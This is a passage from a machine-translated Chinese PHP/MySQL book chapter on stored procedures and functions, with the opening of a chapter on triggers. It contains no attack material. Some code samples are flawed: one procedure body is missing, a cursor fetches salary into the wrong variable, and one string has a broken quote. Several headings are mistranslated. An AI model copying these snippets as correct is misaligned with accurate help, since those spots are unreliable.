  • 可维护性:虽然你可以使用基于图形用户界面的工具,比如 MySQL 查询浏览器(见第二十四章)来管理存储的例程,但是对它们进行编码和调试比使用一个有能力的 IDE 编写基于 PHP 的函数要困难得多。

  • 可移植性:由于存储例程通常使用特定于数据库的语法,如果您需要将应用与另一个数据库产品结合使用,可能会出现可移植性问题。

因此,即使在回顾了优点和缺点之后,您可能仍然想知道存储例程是否适合您。我建议您继续阅读并尝试本章中提供的大量示例。

MySQL 如何实现存储例程

尽管术语存储例程广为流传,但 MySQL 实际上实现了两个过程变量,统称为存储例程:

  • :存储过程:存储过程支持执行SELECTINSERTUPDATEDELETE等 SQL 命令。他们还可以设置参数,这些参数可以在以后从过程外部引用。

  • 存储函数:存储函数只支持执行SELECT命令,只接受输入参数,并且必须返回一个且只有一个值。此外,您可以将一个存储函数直接嵌入到一个 SQL 命令中,就像您对标准 MySQL 函数如count()date_format()所做的那样。

一般来说,当需要处理数据库中的数据时,可以使用存储过程,例如检索行或插入、更新和删除值,而使用存储函数来操作数据或执行特殊计算。事实上,对于这两种变体,本章给出的语法实际上是相同的,除了当使用存储过程时,语法将使用术语过程而不是函数。例如,命令DROP PROCEDURE procedure_name用于删除现有的存储过程,而DROP FUNCTION function_name用于删除现有的存储函数。

创建存储的例程

以下语法可用于创建存储过程:

CREATE
   [DEFINER = { user | CURRENT_USER }
   PROCEDURE procedure_name ([parameter[, ...]])
   [characteristics, ...] routine_body

而以下用于创建存储函数:

CREATE
   [DEFINER = { user | CURRENT_USER }
   FUNCTION function_name ([parameter[, ...]])
   RETURNS type
   [characteristics, ...] routine_body

例如,下面创建了一个返回静态字符串的简单存储过程:

mysql>CREATE PROCEDURE get_inventory()
    >

就这样。现在使用以下命令执行该过程:

mysql>CALL get_inventory();

执行此过程将返回以下输出:

+---------------+
| inventory     |
+---------------+
|        45     |
+---------------+

当然,这是一个很简单的例子。请继续阅读,了解更多关于创建更复杂(且有用)的存储例程的所有选项。

设置安全权限

DEFINER子句确定将咨询哪个用户帐户,以确定是否有适当的特权来执行由存储例程定义的查询。如果使用DEFINER子句,您需要使用'user@host'语法指定用户名和主机名(例如,'jason@localhost')。如果使用了CURRENT_USER(缺省值),那么将查询导致例程执行的任何帐户的特权。只有拥有SUPER权限的用户才能将DEFINER分配给另一个用户。

设置输入和返回参数

存储过程既可以接受输入参数,也可以将参数返回给调用者。但是,对于每个参数,您需要声明名称、数据类型,以及它是用于将信息传递到过程中,还是将信息传递回过程外,或者同时执行这两种功能。

注意

本节仅适用于存储过程。虽然存储函数可以接受参数,但它们只支持输入参数,并且必须返回一个且只有一个值。因此,在声明存储函数的输入参数时,请确保只包含名称和类型。

存储例程中支持的数据类型是 MySQL 支持的数据类型。因此,您可以自由地将参数声明为创建表时可能使用的任何数据类型。

要声明参数的用途,请使用以下三个关键字之一:

  • IN : IN参数仅用于将信息传递到程序中。

  • OUT : OUT参数仅用于将信息传回程序之外。

  • INOUT : INOUT参数可以将信息传递到过程中,更改其值,然后将信息传递回过程之外。

对于任何声明为OUTINOUT的参数,您需要在调用存储过程时在它的名称前加上@符号,以便可以从过程外部调用该参数。考虑一个指定名为get_inventory的过程的例子,该过程接受两个参数productid,一个IN参数确定您感兴趣的产品;和count,一个将值返回到调用者范围的OUT参数:

CREATE PROCEDURE get_inventory(IN product CHAR(8), OUT count INT)
  SELECT 45 INTO count;

这个过程可以这样调用:

CALL get_inventory("ZXY83393", @count);

可以这样访问count参数

SELECT @count;

在这种情况下,@count充当一个变量,只要会话处于活动状态,就可以访问它,或者直到被另一个值覆盖。

特征

称为特征的几个属性允许您调整存储过程的行为。下面列出了完整的特性范围,并对每个特性进行了介绍:

LANGUAGE SQL
| [NOT] DETERMINISTIC
| { CONTAINS SQL | NO SQL | READS SQL DATA | MODIFIES SQL DATA }
| SQL SECURITY {DEFINER | INVOKER}
| COMMENT 'string'

语言 SQL

目前,SQL 是唯一受支持的存储过程语言,但是有计划在将来引入一个框架来支持其他语言。这个框架将被公开,这意味着任何有意愿和能力的程序员都可以自由地添加对他喜欢的语言的支持。例如,您很可能能够使用 PHP、Perl 和 Python 等语言创建存储过程,这意味着这些过程的功能将只受所使用语言的限制。

[不]确定性

仅用于存储函数,任何声明为DETERMINISTIC的函数每次都将返回相同的值,只要传入相同的参数集。声明函数DETERMINISTIC有助于 MySQL 优化存储函数的执行,并有助于复制场景。

包含 SQL |无 SQL |读取 SQL 数据|修改 SQL 数据

此设置指示存储过程将执行什么类型的任务。默认值CONTAINS SQL指定 SQL 存在,但不会读取或写入数据。NO SQL表示过程中没有 SQL。READS SQL DATA表示 SQL 将只检索数据。最后,MODIFIES SQL DATA表示 SQL 将修改数据。在编写本文时,这个特性对存储过程的功能没有任何影响。

SQL SECURITY

如果SQL SECURITY特性设置为DEFINER,那么程序将根据定义程序的用户的权限执行。如果设置为INVOKER,它将根据执行程序的用户的权限来执行。

你可能会认为DEFINER的设定有点奇怪,也许不安全。毕竟,为什么有人会允许一个用户使用另一个用户的特权来执行过程呢?这实际上是一种加强而不是放弃系统安全性的好方法,因为它允许您创建除了执行这些过程之外对数据库没有任何权限的用户。

字符串 COMMENT

您可以通过使用COMMENT特性添加一些关于程序的描述性信息。

声明和设置变量

在存储例程中执行任务时,通常需要局部变量作为临时占位符。然而,与 PHP 不同,MySQL 要求您指定变量的类型并显式声明它们。本节将向您展示如何声明和设置变量。

声明变量

与 PHP 不同,MySQL 要求您在使用本地变量之前在存储例程中声明本地变量,通过使用 MySQL 支持的数据类型之一来指定它们的类型。用DECLARE语句确认变量声明,其原型如下所示:

DECLARE variable_name type [DEFAULT value]

例如,假设创建了一个名为calculate_bonus的存储过程来计算雇员的年度奖金。它可能需要一个名为salary的变量,另一个名为bonus,第三个名为total。他们会这样宣布:

DECLARE salary DECIMAL(8,2);
DECLARE bonus DECIMAL(4,2);
DECLARE total DECIMAL(9,2);

当声明变量时,声明必须发生在一个BEGIN/END块中,如本章稍后所述。此外,声明必须在执行该块中的任何其他语句之前发生。还要注意变量作用域被限制在声明它的块中,这很重要,因为在一个例程中可能有几个BEGIN / END块。

关键字DECLARE也用于声明某些条件和处理器。这个问题在“条件和处理器”一节中有更详细的讨论。

设置变量

SET语句用于设置已声明的存储例程变量的值。它的原型是这样的:

SET variable_name = value [, variable_name = value]

以下示例说明了声明和设置名为inv的变量的过程:

DECLARE inv INT;
SET inv = 155;

也可以使用SELECT INTO语句设置变量。例如,inv变量也可以这样设置:

DECLARE inv INT;
SELECT inventory INTO inv FROM product WHERE productid="MZC38373";

该变量在声明它的BEGIN / END块的范围内是局部的。如果你想在例程之外使用这个变量,你需要把它作为一个OUT变量传入,就像这样:

mysql>DELIMITER //
mysql>CREATE PROCEDURE get_inventory(OUT inv INT)
->SELECT 45 INTO inv;
->//
Query OK, 0 rows affected (0.08 sec)
mysql>DELIMITER ;
mysql>CALL get_inventory(@inv);
mysql>SELECT @inv;

这将返回以下内容:

+-------------+
| @inv        |
+-------------+
| 45          |
+-------------+

您可能对DELIMITER语句感到疑惑。默认情况下,MySQL 使用分号来确定语句何时结束。然而,当创建一个多语句存储例程时,您需要编写几个语句,但是您不希望 MySQL 做任何事情,直到您完成了存储例程的编写。因此,您必须将分隔符更改为另一个字符串。不一定非得是//。你可以选择任何你喜欢的,例如,|||^^

执行存储的例程

通过结合使用CALL语句引用存储的例程,可以执行存储的例程。例如,执行先前创建的get_inventory过程是这样完成的:

mysql>CALL get_inventory(@inv);
mysql>SELECT @inv;

执行get_inventory将返回:

+-------------+
| @inv        |
+-------------+
| 45          |
+-------------+

创建和使用多语句存储例程

单语句存储例程非常有用,但是存储例程的真正强大之处在于它们能够封装和执行多条语句。事实上,整个语言都由您支配,使您能够执行相当复杂的任务,如条件求值和迭代。例如,假设你公司的收入是由销售人员推动的。为了鼓励员工实现其崇高的目标,年终会发放奖金,奖金的多少与员工的收入成正比。该公司在内部处理其工资单,使用一个定制的 Java 程序在每年年底计算并打印奖金支票;然而,用 PHP 和 MySQL 创建的基于 web 的界面提供给销售人员,以便他们可以监控其进度(和奖金数额)。因为这两个应用都需要计算奖金数额的能力,所以这个任务似乎是存储函数的理想选择。创建此存储过程的语法如下所示:

DELIMITER //
CREATE FUNCTION calculate_bonus
(emp_id CHAR(8)) RETURNS DECIMAL(10,2)
COMMENT 'Calculate employee bonus'
BEGIN
   DECLARE total DECIMAL(10,2);
   DECLARE bonus DECIMAL(10,2);
   SELECT SUM(revenue) INTO total FROM sales WHERE employee_id = emp_id;
   SET bonus = total * .05;
   RETURN bonus;
END;
//
DELIMITER ;

然后像这样调用calculate_bonus函数:

mysql>SELECT calculate_bonus("35558ZHU");

该函数返回类似如下的内容:

+-----------------------------+
| calculate_bonus("35558ZHU") |
+-----------------------------+
|                      295.02 |
+-----------------------------+

尽管这个例子包括了一些新的语法(所有这些都将很快被介绍),但是它应该是相当简单的。

本节的其余部分将专门介绍创建多语句存储例程时常用的语法。

有效的存储例行管理

存储例程会很快变得冗长而复杂,增加了创建和调试它们的语法所需的时间。例如,键入calculate_bonus过程可能会很乏味,特别是如果在这个过程中您引入了一个语法错误,需要重新输入整个例程。为了减轻一些繁琐,将存储的例程创建语法插入到一个文本文件中,然后将该文件读入到mysql客户端,如下所示:

%>mysql [options] < calculate_bonus.sql

使用 GUI 客户机将允许您编辑过程并重新提交它,直到您获得正确的语法和业务逻辑,而不必每次都重新开始。

[options]字符串是连接变量的占位符。在创建例程之前,不要忘记通过在脚本顶部添加USE db_name ;来切换到适当的数据库;否则,将会出现错误。

要修改现有的 routine,您可以根据需要更改文件,使用DROP PROCEDURE(本章稍后介绍)删除现有的 routine,然后使用上述过程重新创建它。虽然有一个ALTER PROCEDURE语句(也将在本章后面介绍),但它目前只能修改例程特性。

管理例程的另一个非常有效的机制是通过 MySQL Workbench,可以从 MySQL 下载。通过该界面,您可以创建、编辑和删除例程。

开始和结束块

创建多语句存储例程时,需要将语句放在一个BEGIN / END块中。块原型看起来像这样:

BEGIN
   statement 1;
   statement 2;
   ...
   statement N;
END

请注意,块中的每条语句都必须以分号结束。

条件式

基于运行时信息的任务执行是对结果进行严格控制的关键。存储例程语法为执行条件求值提供了两个众所周知的构造:IF-ELSEIF-ELSE语句和CASE语句。这两者都在本节中介绍。

多个分支

IF-ELSEIF-ELSE语句是评估条件语句最常用的方法之一。事实上,即使你是一个程序员新手,你也可能已经在很多场合使用过它。所以这个介绍应该是比较熟悉的。原型看起来像这样:

IF condition THEN statement_list
   [ELSEIF condition THEN statement_list]
   [ELSE statement_list]
END IF

例如,假设您修改了先前创建的calculate_bonus存储过程,不仅根据销售额,还根据销售人员在公司的工作年限来确定奖金百分比:

IF years_employed < 5 THEN
   SET bonus = total * .05;
ELSEIF years_employed >= 5 and years_employed < 10 THEN
   SET bonus = total * .06;
ELSEIF years_employed >=10 THEN
   SET bonus = total * .07;
END 

IF

情况

当您需要将一个值与一系列可能性进行比较时,CASE语句非常有用。虽然使用IF语句这样做当然是可能的,但是使用CASE语句可以大大提高代码的可读性。它的原型是这样的:

CASE
   WHEN condition THEN statement_list
   [WHEN condition THEN statement_list]
   [ELSE statement_list]
END CASE

考虑下面的示例,该示例通过将客户所在的州与一组值进行比较来设置包含适当销售税率的变量:

CASE
   WHEN state="AL" THEN:
      SET tax_rate = .04;
   WHEN state="AK" THEN:
      SET tax_rate = .00;
   ...
   WHEN state="WY" THEN:
      SET tax_rate = .04;
END CASE;

或者,您可以通过使用以下变体来节省一些输入:

CASE state
   WHEN "AL" THEN:
      SET tax_rate = .04;
   WHEN "AK" THEN:
      SET tax_rate = .00;
   ...
   WHEN "WY" THEN:
      SET tax_rate = .04;

END 

CASE;

循环

有些任务,比如向表中插入一些新行,需要能够重复执行一组语句。本节介绍了可用于迭代和退出循环的各种方法。

重复

执行ITERATE语句会导致嵌入该语句的LOOPREPEATWHILE块返回顶部并再次执行。它的原型是这样的:

ITERATE label

考虑一个例子。以下存储过程将使每个雇员的工资增加 5 %,但雇员类别为 0 的雇员除外:

DELIMITER //

DROP PROCEDURE IF EXISTS `corporate`.`calc_bonus`//
CREATE PROCEDURE `corporate`.`calc_bonus` ()
BEGIN

DECLARE empID INT;
DECLARE emp_cat INT;
DECLARE sal DECIMAL(8,2);
DECLARE finished INTEGER DEFAULT 0;

DECLARE emp_cur CURSOR FOR
   SELECT employee_id, salary FROM employees ORDER BY employee_id;

DECLARE CONTINUE HANDLER FOR NOT FOUND SET finished=1;

OPEN emp_cur;

calcloop: LOOP

   FETCH emp_cur INTO empID, emp_cat;

   IF finished=1 THEN
      LEAVE calcloop;
   END IF;

   IF emp_cat=0 THEN
      ITERATE calcloop;
   END IF;

   UPDATE employees SET salary = salary * 1.05 WHERE employee_id=empID;

END LOOP calcloop;

CLOSE emp_cur;

END//

DELIMITER ;

请注意,游标用于遍历结果集的每一行。如果您不熟悉该功能,请参见第三十二章。

离开

在等待某个变量的值或某个特定任务的结果时,您可能希望使用LEAVE命令立即退出一个循环或BEGIN / END块。其原型如下:

LEAVE label

LOOP section中提供了一个LEAVE运行的例子。您还会在ITERATE示例中找到LEAVE

LOOP语句将继续迭代其块中定义的一组语句,直到遇到LEAVE语句。其原型如下:

[begin_label:] LOOP
   statement_list
END LOOP [end_label]

MySQL 存储例程不能接受数组作为输入参数,但是您可以通过传入和解析分隔字符串来模拟这种行为。例如,假设您为客户提供了一个界面,让他们从 10 个他们想了解更多的公司服务中进行选择。界面可以呈现为多选框、复选框或一些其他机制;使用哪一个并不重要,因为值的数组最终会在传递给存储例程之前被压缩成一个字符串(例如,使用 PHP 的implode()函数)。例如,字符串可能如下所示,每个数字代表所需服务的数字标识符:

1,3,4,7,8,9,10

为解析该字符串并将值插入数据库而创建的存储过程可能如下所示:

DELIMITER //

CREATE PROCEDURE service_info
(IN client_id INT, IN services varchar(20))

   BEGIN

      DECLARE comma_pos INT;
      DECLARE current_id INT;

      svcs: LOOP

         SET comma_pos = LOCATE(',', services);
         SET current_id = SUBSTR(services, 1, comma_pos);

         IF current_id <> 0 THEN
            SET services = SUBSTR(services, comma_pos+1);
         ELSE
            SET current_id = services;
         END IF;

         INSERT INTO request_info VALUES(NULL, client_id, current_id);

         IF comma_pos = 0 OR current_id = “ THEN
            LEAVE svcs;
         END IF;

      END LOOP;

   END//
DELIMITER ;

现在叫service_info,像这样:

call service_info("45","1,4,6");

一旦执行,request_info表将包含以下三行:

+-------+----------+----------+
| row_id | client_id | service |
+-------+----------+----------+
|     1  |       45 |       1  |
|     2  |       45 |       4  |
|     3  |       45 |       6  |
+-------+----------+----------+

重复

REPEAT语句的操作与WHILE几乎相同,只要某个条件为真,就在指定的语句或语句集上循环。然而,与WHILE不同的是,REPEAT在每次迭代之后而不是之前评估条件,这使得它类似于 PHP 的DO WHILE构造。其原型如下:

[begin_label:] REPEAT
   statement_list
UNTIL condition
END REPEAT [end_label]

例如,假设您正在测试一组新的应用,并希望构建一个存储过程,用给定数量的测试行填充一个表。程序如下:

DELIMITER //
CREATE PROCEDURE test_data
(rows INT)
BEGIN

   DECLARE val1 FLOAT;
   DECLARE val2 FLOAT;

   REPEAT
      SELECT RAND() INTO val1;
      SELECT RAND() INTO val2;
      INSERT INTO analysis VALUES(NULL, val1, val2);
      SET rows = rows - 1;
   UNTIL rows = 0
   END REPEAT;

END//

DELIMITER ;

执行这个过程,传入一个参数为 5 的rows会产生以下结果:

+--------+-----------+----------+
| row_id | val1      | val2     |
+--------+-----------+----------+
|     1  | 0.0632789 | 0.980422 |
|     2  |  0.712274 | 0.620106 |
|     3  |  0.963705 | 0.958209 |
|     4  |  0.899929 | 0.625017 |
|     5  |  0.425301 | 0.251453 |
+--------+-----------+----------+

正在…

WHILE语句在许多(如果不是全部的话)现代编程语言中很常见,只要特定的条件或条件集保持为真,就迭代一个或几个语句。其原型如下:

[begin_label:] WHILE condition DO
   statement_list
END WHILE [end_label]

在上面对REPEAT的介绍中首次创建的test_data程序已经被重写,这次使用了一个WHILE循环:

DELIMITER //
CREATE PROCEDURE test_data
(IN rows INT)
BEGIN

   DECLARE val1 FLOAT;
   DECLARE val2 FLOAT;
   WHILE rows > 0 DO
      SELECT RAND() INTO val1;
      SELECT RAND() INTO val2;
      INSERT INTO analysis VALUES(NULL, val1, val2);
      SET rows = rows - 1;
   END WHILE;

END//

DELIMITER ;

执行该程序会产生与REPEAT部分所示类似的结果。

从一个例程中调用另一个例程

从一个例程中调用另一个例程是可能的,这样可以省去不必要地重复逻辑的麻烦。下面是一个例子:

DELIMITER //
CREATE PROCEDURE process_logs()
BEGIN
   SELECT "Processing Logs";
END//

CREATE PROCEDURE process_users()
BEGIN
   SELECT "Processing Users";
END//

CREATE PROCEDURE maintenance()
BEGIN
   CALL process_logs();
   CALL process_users();
END//

DELIMITER ;

执行maintenance()程序会产生以下结果:

+-----------------+
| Processing Logs |
+-----------------+
| Processing Logs |
+-----------------+
1 row in set (0.00 sec)

+------------------+
| Processing Users |
+------------------+
| Processing Users |
+------------------+
1 row in set (0.00 sec)

修改存储的程序

目前,MySQL 只提供通过ALTER语句修改存储的例程特性的能力。其原型如下:

ALTER (PROCEDURE | FUNCTION) routine_name [characteristic ...]

例如,假设您想要将calculate_bonus方法的SQL SECURITY特性从默认的DEFINER更改为INVOKER:

ALTER PROCEDURE calculate_bonus SQL SECURITY 

invoker;

删除存储的程序

要删除存储的程序,执行DROP语句。其原型如下:

DROP (PROCEDURE | FUNCTION) [IF EXISTS] routine_name

例如,要删除calculate_bonus存储过程,请执行以下命令:

mysql>DROP PROCEDURE calculate_bonus;

您将需要ALTER ROUTINE特权来执行DROP

查看例程的状态

有时,您可能有兴趣了解更多关于谁创建了一个特定的例程,例程的创建或修改时间,或者例程应用于什么数据库。这很容易用SHOW STATUS语句来完成。它的原型是这样的:

SHOW (PROCEDURE | FUNCTION) STATUS [LIKE 'pattern']

例如,假设您想了解关于以前创建的get_products()存储过程的更多信息:

mysql>SHOW PROCEDURE STATUS LIKE 'get_products'\G

执行此命令会产生以下输出:

*************************** 1\. row ***************************
                  Db: corporate
                Name: get_products
                Type: PROCEDURE
             Definer: root@localhost
            Modified: 2018-08-08 21:48:20
             Created: 2018-08-08 21:48:20
       Security_type: DEFINER
             Comment:
character_set_client: utf8
collation_connection: utf8_general_ci
  Database Collation: latin1_swedish_ci
1 row in set (0.01 sec)

请注意,\G选项用于以垂直格式而非水平格式显示输出。忽略包含\G会产生横向的结果,可能难以阅读。

如果您想同时查看关于几个存储例程的信息,也可以使用通配符。例如,假设另一个名为get_employees()的存储例程可用:

mysql>SHOW PROCEDURE STATUS LIKE 'get_%'\G

这将产生:

*************************** 1\. row ***************************
                  Db: corporate
                Name: get_employees
                Type: PROCEDURE
             Definer: root@localhost
            Modified: 2018-08-08 21:48:20
             Created: 2018-08-08 21:48:20
       Security_type: DEFINER
             Comment:
character_set_client: utf8
collation_connection: utf8_general_ci
  Database Collation: latin1_swedish_ci
*************************** 2\. row ***************************
                  Db: corporate
                Name: get_products
                Type: PROCEDURE
             Definer: root@localhost
            Modified: 2018-08-08 20:12:39
             Created: 2018-08-08 22:12:39
       Security_type: DEFINER
             Comment:
character_set_client: utf8
collation_connection: utf8_general_ci
  Database Collation: latin1_swedish_ci
2 row in set (0.02 sec)

查看例程的创建语法

通过使用SHOW CREATE语句,可以查看用于创建特定例程的语法。其原型如下:

SHOW CREATE (PROCEDURE | FUNCTION) dbname.spname

例如,以下语句将重新创建用于创建get_products()过程的语法:

SHOW CREATE PROCEDURE corporate.maintenance\G

执行此命令会产生以下输出(为便于阅读,稍微进行了格式化):

*************************** 1\. row ***************************
Procedure: maintenance
sql_mode: STRICT_TRANS_TABLES,NO_AUTO_CREATE_USER

Create Procedure: CREATE DEFINER=`root`@`localhost` PROCEDURE `maintenance`()
BEGIN
    CALL process_logs();
    CALL process_users();
END

character_set_client: latin1
collation_connection: latin1_swedish_ci
Database Collation: latin1_swedish_ci

处理条件

本章早些时候提到过,DECLARE语句还可以指定在特定情况或条件发生时可以执行的处理器。例如,在calc_bonus过程中使用了一个处理器来确定结果集的迭代何时完成。需要两个声明:一个名为finished的变量和一个用于NOT FOUND条件的处理器:

DECLARE finished INTEGER DEFAULT 0;
DECLARE CONTINUE HANDLER FOR NOT FOUND SET finished=1;

一旦进入迭代循环,每次迭代都检查finished,如果它被设置为 1,循环将被退出:

IF finished=1 THEN
   LEAVE calcloop;
END IF;

MySQL 支持许多可以根据需要做出反应的条件。有关更多详细信息,请参见 MySQL 文档。

将例程集成到 Web 应用中

到目前为止,所有的例子都是通过 MySQL 客户端演示的。虽然这肯定是测试示例的有效方法,但是存储例程的效用会因为能够将它们合并到您的应用中而大大增加。这一节演示了将存储例程集成到 PHP 驱动的 web 应用中是多么容易。

创建员工奖金界面

回到涉及员工奖金计算的多语句存储函数示例,上面提到提供了一个基于 web 的界面,使员工能够实时跟踪他们的年度奖金。这个例子演示了使用calculate_bonus()存储函数来完成这个任务是多么容易。

清单 29-1 展示了用于提示输入员工 ID 的简单 HTML 表单。当然,在现实世界中,这种表单也会要求输入密码;然而,对于这个例子来说,ID 就足够了。

<form action="viewbonus.php" method="post">
   Employee ID:<br>
   <input type="text" name="employeeid" size="8" maxlength="8" value="">
   <input type="submit" value="View Present Bonus">
</form>

Listing 29-1The Employee Login Form (login.php

)

清单 29-2 接收login.php提供的信息,使用提供的员工 ID 和calculate_bonus()存储的函数计算并显示奖金信息。

<?php

    // Instantiate the mysqli class
    $db = new mysqli("localhost", "websiteuser", "jason", "corporate");

    // Assign the employeeID
    $eid = filter_var($_POST['employeeid'], FILTER_SANITIZE_NUMBER_INT);

    // Execute the stored procedure
    $stmt = $db->prepare("SELECT calculate_bonus(?) AS bonus");

    $stmt->bind_param('s', $eid);

    $stmt->execute();

    $stmt->bind_result($bonus);

    $stmt->fetch();

   printf("Your bonus is \$%01.2f",$bonus);
?>

Listing 29-2Retrieving the Present Bonus Amount (viewbonus.php

)

Executing this example produces output similar to this:

Your bonus is $295.02

检索多行

虽然上面的例子足以理解如何从一个存储例程返回多行,但是下面的简单例子非常清楚地说明了这一点。假设您创建了一个存储过程来检索有关公司雇员的信息:

CREATE PROCEDURE get_employees()
   SELECT employee_id, name, position FROM employees ORDER by name;

然后可以从 PHP 脚本中调用这个过程,如下所示:

<?php
  // Instantiate the mysqli class
  $db = new mysqli("localhost", "websiteuser", "jason", "corporate");

  // Execute the stored procedure
  $result = $db->query("CALL get_employees()");

  // Loop through the results
  while (list($employee_id, $name, $position) = $result->fetch_row()) {
     echo "$employee_id, $name, $position <br>";
  }

?>

执行此脚本会产生类似于以下内容的输出:

EMP12388, Clint Eastwood, Director
EMP76777, John Wayne, Actor
EMP87824, Miles Davis, Musician

摘要

本章介绍了存储例程。您了解了在决定是否应该将这个特性合并到您的开发策略中时要考虑的优点和缺点。您还了解了 MySQL 的具体实现和语法。最后,您了解了将存储函数和存储过程合并到 PHP 应用中是多么容易。

下一章介绍 MySQL 和 MariaDB 中的另一个特性:触发器。

三十、MySQL 触发器

一个触发器是一个任务,它响应一些预定义的数据库事件而执行,比如在一个新的行被添加到一个特定的表之后。具体来说,该事件涉及插入、修改或删除表数据,并且该任务可以在任何此类事件之前或之后立即发生。本章首先提供了一些通用示例,说明如何使用触发器来执行一些任务,如实施参照完整性和业务规则、收集统计信息以及防止无效事务。然后我将讨论 MySQL 的触发器实现,向您展示如何创建、执行和管理触发器。最后,您将了解如何将触发器特性整合到 PHP 驱动的 web 应用中。

介绍触发器

作为开发人员,我们必须记住实现大量的细节,以使应用正常运行。这一挑战在很大程度上与管理数据有关,包括以下任务:

  • 防止由于数据格式错误而导致的损坏。

  • 强制实施业务规则,比如确保将关于产品的信息插入到product表中的尝试包括制造商的标识符,该制造商的信息已经存在于manufacturer表中。

  • 通过在整个数据库中级联更改来确保数据库的完整性,例如删除与您希望从系统中删除的制造商相关联的所有产品。

如果您已经构建了一个简单的应用,那么您可能已经花了一些时间编写代码来执行至少其中的一些任务。如果可能的话,最好在服务器端自动执行其中的一些任务,不管哪种类型的应用正在与数据库进行交互。数据库触发器为您提供了这种选择。

为什么要使用触发器?

触发器有许多用途,包括:

  • 审计跟踪 : 假设您正在使用 MySQL 记录 Apache 流量(可能使用 Apache mod_log_sql 模块),但是您还想创建一个额外的特殊日志记录表,让您可以快速制表并将结果显示给不耐烦的主管。执行这个额外的插入可以通过触发器自动完成。

  • 验证 : 您可以在更新数据库之前使用触发器来验证数据,例如确保满足最小订单阈值。

  • 参照完整性实施 : 良好的数据库管理实践表明,表关系在项目的整个生命周期中保持稳定。偶尔使用触发器来确保这些任务自动发生可能是有意义的,而不是试图以编程方式合并所有完整性约束。支持外键约束的数据库无需触发器即可处理完整性实施。维护引用完整性意味着,如果删除了另一个(或同一个)表中的记录,确保没有引用指向该记录。外键是用于标识另一个表中的键的列的术语,从而将两个表链接在一起。

触发器的用途远远超出了这些目的。假设您希望在达到每月 100 万美元的收入目标时更新公司网站。或者假设您想给一周内缺勤超过两天的任何员工发送电子邮件。或者,您可能希望在特定产品的库存不足时通知制造商。所有这些任务都可以由触发器来处理。

为了让您更好地理解触发器的效用,让我们考虑两个场景:第一个场景涉及在触发器之前的,一个在事件之前发生的触发器;第二个涉及触发后的,该触发发生在事件之后。

在事件发生前采取行动

假设食品经销商要求在处理交易之前至少购买 10 美元的咖啡。如果客户试图添加少于该金额的商品到购物车,该金额将自动四舍五入为 10 美元。这个过程可以通过 before 触发器轻松完成,在本例中,该触发器评估任何将产品插入购物车的尝试,并将任何不可接受的低咖啡购买金额增加到$10。一般过程如下所示:

Shopping cart insertion request submitted.

    If product identifier set to "coffee":
        If dollar amount < $10:
            Set dollar amount = $10;
        End If
    End If

Process insertion 

request.

事件发生后采取行动

大多数帮助台支持软件都基于票证分配和解决的概念。票证由负责记录票证信息的帮助台技术人员分配和解决。然而,偶尔甚至技术人员也被允许离开他们的工作间去度假或养病。在此类缺席期间,客户不能指望等待技术人员回来,因此技术人员的票证应放回池中,由经理重新分配。

这个过程应该是自动的,这样未完成的票据就不会被忽略。这是一个很好的使用触发器的场景。

出于示例的目的,假设technicians表如下所示:

+--------+---------+--------------------------+------------+
| id     | name    | email                    | available  |
+--------+---------+--------------------------+------------+
| 1      | Jason   | jason@example.com        | 1          |
| 2      | Robert  | robert@example.com       | 1          |
| 3      | Matt    | matt@example.com         | 1          |
+--------+---------+--------------------------+------------+

tickets表看起来像这样:

+------+-----------+-----------------+---------------------+----------------+
| id   | username  | title           | description         |  technician_id |
+------+-----------+-----------------+---------------------+----------------+
| 1    | smith22   | disk drive      | Disk stuck in drive |       1        |
| 2    | gilroy4   | broken keyboard | Enter key is stuck  |       1        |
| 3    | cornell15 | login problems  | Forgot password     |       3        |
| 4    | mills443  | login problems  | forgot username     |       2        |
+------+-----------+-----------------+---------------------+----------------+

因此,要将技术人员指定为不在办公室,需要在technicians表中相应地设置available标志(0表示不在办公室,1表示在办公室)。如果对给定的技术人员执行查询,将该列设置为0,那么他的票据应该全部放回通用池中,以便最终重新分配。后触发过程如下所示:

Technician table update request submitted.
    If available column set to 0:
        Update tickets table, setting any flag assigned
        to the technician back to the general pool.
    End If

在本章的后面,你将学习如何实现这个触发器并把它合并到一个 web 应用中。

前触发器与后触发器

您可能想知道如何得出使用 before 触发器代替 after 触发器的结论。例如,在上一节的触发后情形中,为什么票证重新分配不能在技术人员的可用性状态更改之前发生?标准实践表明,在验证或修改要插入或更新的数据时,应该使用 before 触发器。before 触发器不应用于强制传播或引用完整性(确保所有键都指向其他表中的现有记录),因为其他 before 触发器可能会在它之后执行,这意味着正在执行的触发器可能正在处理即将无效的数据。

另一方面,当要根据其他表传播或验证数据以及执行计算时,应该使用 after 触发器,因为您可以确保触发器使用的是数据的最终版本。

在下面几节中,您将学习如何最有效地创建、管理和执行 MySQL 触发器。还提供了许多 PHP/MySQL 驱动的应用中触发器使用的例子。

MySQL 的触发器支持

MySQL 版本 5.0.2 增加了对触发器的支持,但有一些限制。例如,在撰写本文时,存在以下缺陷:

  • 不支持TEMPORARY 表****:触发器不能与TEMPORARY表一起使用。

  • 不支持视图:触发器不能与视图一起使用(将在下一章介绍)。

  • MySQL 数据库不允许触发器:在 MySQL 数据库中创建的表不允许创建触发器。

  • 触发器不能返回结果集:只能在触发器内执行插入、更新和删除查询。然而,您可以在触发器中执行存储的例程,只要它们不返回结果集,以及SET命令。

  • 触发器必须是唯一的:不能创建共享同一个表、事件(INSERTUPDATEDELETE)和提示(之前、之后)的多个触发器。但是,因为可以在一个查询的范围内执行多个命令(您很快就会知道),所以这应该不是什么问题。

  • 错误处理 和报告支持不成熟:尽管正如所料,如果 before 或 after 触发器失败,MySQL 会阻止操作的执行,但目前还没有合适的方法来导致触发器失败并向用户返回有用的信息。

这可能看起来有局限性,但是触发器仍然提供了一种实现业务逻辑的强大方法。如果有多个用户/系统直接与数据库交互,并且不希望每个用户/系统都实现特定的业务逻辑,那么可以使用触发器。解决这个问题的另一种方法是创建实现逻辑的 API,并且只允许用户与 API 交互,而不是直接与数据库交互。这种方法的一个优点是,只要您的 API 继续以同样的方式工作,您就可以在需要时自由地更改模式。

创建触发器

MySQL 触发器是使用一个相当简单的 SQL 语句创建的。语法原型如下:

CREATE
   [DEFINER = { USER | CURRENT_USER }]
   TRIGGER <trigger name>
   { BEFORE | AFTER }
   { INSERT | UPDATE | DELETE }
   ON <table name>
   FOR EACH ROW
   [{ FOLLOWS | PRECEDES } <other_trigger_name>]
   <triggered SQL statement>

如您所见,可以指定触发器应该在查询之前还是之后执行;是否应该在行插入、修改或删除时发生;以及触发器适用于哪个表。

